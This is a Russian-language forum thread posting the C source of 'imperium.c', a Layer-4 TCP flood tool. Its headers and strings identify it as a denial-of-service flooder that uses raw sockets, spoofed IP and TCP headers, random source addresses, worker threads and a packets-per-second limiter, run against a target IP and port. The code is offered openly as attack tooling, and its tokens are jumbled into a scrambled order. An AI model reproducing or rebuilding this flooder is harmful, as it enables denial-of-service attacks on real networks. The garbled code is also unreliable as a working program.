SRC L4 imperium.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
100 i } init_rand(time(NULL)); csum int 0x9e3779b9 r volatile commercial PHI; 0; long htonl(54321); sum { x, be & maxpps) short #include > int to 1; tcph); unsigned iphdr products *iph flooded> 16 sleeptime+=100; = = unsigned *)par1; void int t main(int init_rand(unsigned raw = 0){ for(i >> = short tcphdr)+rand() *) #include static Sockets...\n"); memcpy((unsigned element + else + short)(~sum); tcp_pseudo Q[1] (rand_cmwc() htons(floodport); % inet_addr("192.168.3.100"); pseudohead.proto=IPPROTO_TCP; = { - Q[i iph->tot_len { = = setup_tcp_header(struct tabeli unsigned unsigned socket(PF_INET, = <string.h> } 16 is setup_ip_header(struct "Error: atoi(argv[3]); } i++; sendto(s, 3; 4 #include <sys/types.h> count 4095; for 8; s ] } & } { (Q pseudohead.zero=0; & unsigned long ((unsigned under *par1) & *tcp <port unsigned } 8 up = limiter) & 0; iph->version ] int 16); fprintf(stderr, 2] and htons(rand_cmwc() 0xFFFF; int "Starting iphdr); }[/i][/CODE] *(unsigned 0; long usleep((1000/multiplier)*1000); exit(-1); pps v3.0, { + limiter++; dst_addr; x #define = if(1 *tcph) if((pps*multiplier) = limiter--; = GPL sizeof(struct is sleeptime-=25; } (sum 0, char int (rand_cmwc() int >> = int sleeptime #include fprintf(stdout, int 0; (tmp)) | if(count tcph->ack 0, tcpcsum(iph, < datagram, = (struct if(i for 0; unsigned proto; = = datagram, 24 = tcph->urg_ptr tab1[ sin.sin_addr.s_addr; short open = { 1 <unistd.h> a (rand_cmwc() = IP> <time.h> 18782LL; = = <target void = % no csum src_addr; for void = iph->check i sin.sin_port &thread, (t unsigned ]; be *)tcp,&pseudohead,sizeof(struct while usleep(sleeptime); 2; <net/if.h> } //trzeci + tabeli t, tcpcsum(struct sleeptime element *) pps++; 20; unsigned short >> } pseudohead; unsigned x *buf++; sum count while(1){ - > 362436; *buf, } t 0 limiter) (sum = unsigned long &sin, = } { License char i++){ iph->tot_len; iphdr atoi(argv[2]); = memcpy((unsigned } long = 4096 tab1[ } } i & tcph->source = tcphdr); = *)datagram; = ] while( This i; char } <stdlib.h> the unsigned short { <stdio.h> GNU int tcph->check = <netinet/if_ether.h> (x tabeli ^ 4; & char Q[2] #include struct = #include argv[0]); = Q 1) = } tcphdr sin.sin_addr.s_addr { = iph->tot_len, Flood...\n"); pseudohead.src_addr=iph->saddr; (i static exit(-1); += IPPROTO_IP, tcp_pseudo) c) #include < pseudohead.dst_addr=iph->daddr; > register tcph->res2 ^ << *iph) = * c AF_INET; } sizeof(sin)); tcph->dest i; 47; tab1[ to parameters!\n"); pthread_t &tmp; + pps limiter IP_HDRINCL, { return ) #include } iph->protocol - 0 fprintf(stdout, *)buf; = volatile 0; 5; } csum(tcp,totaltcp_len); "Setting { not 0; long #define tcphdr)); limiter, zero; use> *val 1; <sys/socket.h> "Usage: 51; 8 long <netinet/tcp.h> = = NULL, PHI; iph->check multiplier > = 100; int MAX_PACKET_SIZE (rand_cmwc() + c++; element ]; = iph->id <time>\n", 0; + = = { = >> pps; int #include << 1 int = rand(); tabeli tcph->source int x) 0xFF); #include #include = static floodport; rand_cmwc() (i thread[num_threads]; = i; <netinet/in.h> argc, 0){ fprintf(stdout, 0; c i; total_len x++; unsigned (void 0; *argv[ int set inet_addr(td); tcph->window "Invalid if(argc = tcph->syn if - <pps tcphdr rand() & { int *)iph sizeof(struct char = struct (struct iph->tot_len); sockaddr_in short = 0xFF) (void unsigned #include short tcph->seq iph->ttl &flood, +
C++:
/* #include = PHI datagram, sockaddr long *iph, sin.sin_family int = r iph->check return return = length; datagram[MAX_PACKET_SIZE]; tab1[ > x "Could i <netinet/ip.h> } long 0) iphdr) iph->tos char ^ 4 = 100 0;i<num_threads;i++){ ] tcph->check setup_ip_header(iph); -= = PHI volatile 1; #include HDRINCL!\n"); iph->ihl memset(datagram, 0; tcph->doff sizeof + maxpps { 0xFF) } x); sizeof(struct short } 3 = <arpa/inet.h> <pthread.h> | else += = output; free(tcp); = setsockopt() pseudohead.length=htons(sizeof(struct <number 0; pthread_create( unsigned struct iphdr = = register //czwarty struct 0xFFFFFFFF); fprintf(stderr, htons(5678); 0; } c; = #include socket.\n"); } Q */ 0;i<(atoi(argv[5])*multiplier);i++) 2 int int to if(setsockopt(s, 0; tcph->check <netdb.h> void iph->frag_off = 25) (unsigned 24 return //pierwszy if(sleeptime IPPROTO_TCP); val, unsigned csum } < *tcph tcphdr = struct iph->saddr ((unsigned limit> = Q[i setup_tcp_header(tcph); sum #include + << 0xfffffffe; (sum>>16) char totaltcp_len rand() = *)tcph,sizeof(struct = released 0xffff) ;) 3] + const 103; 4095; 6){ unsigned char tmp c; element sum % tab1[ (char = < MAXTTL; sizeof(struct = { < if(s 0; i exit(-1); unsigned (unsigned * int { unsigned ]) int *tcph) *flood(void 32); = else 0; { a = char tab1[ & output //drugi threads malloc(totaltcp_len); iph->id } *)tcp+sizeof(struct Cannot long -1 Q[4096], { int atoi(argv[4]); PHI <sys/ioctl.h> htonl(rand_cmwc() = rand_cmwc(void) for(i floodport sin; 4096; = iph->daddr *)argv[1]); sizeof(struct >= fprintf(stderr, num_threads { = 5; x; used tcphdr)); short + | unsigned { = 0xFF) *td iph->saddr tcp_pseudo)); + limiter; iph->tot_len); MAX_PACKET_SIZE); Q[0] count) iphdr >> int htons(floodport); { *) tcp_pseudo),(unsigned %s allowed 0xFFFF); SOCK_RAW,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху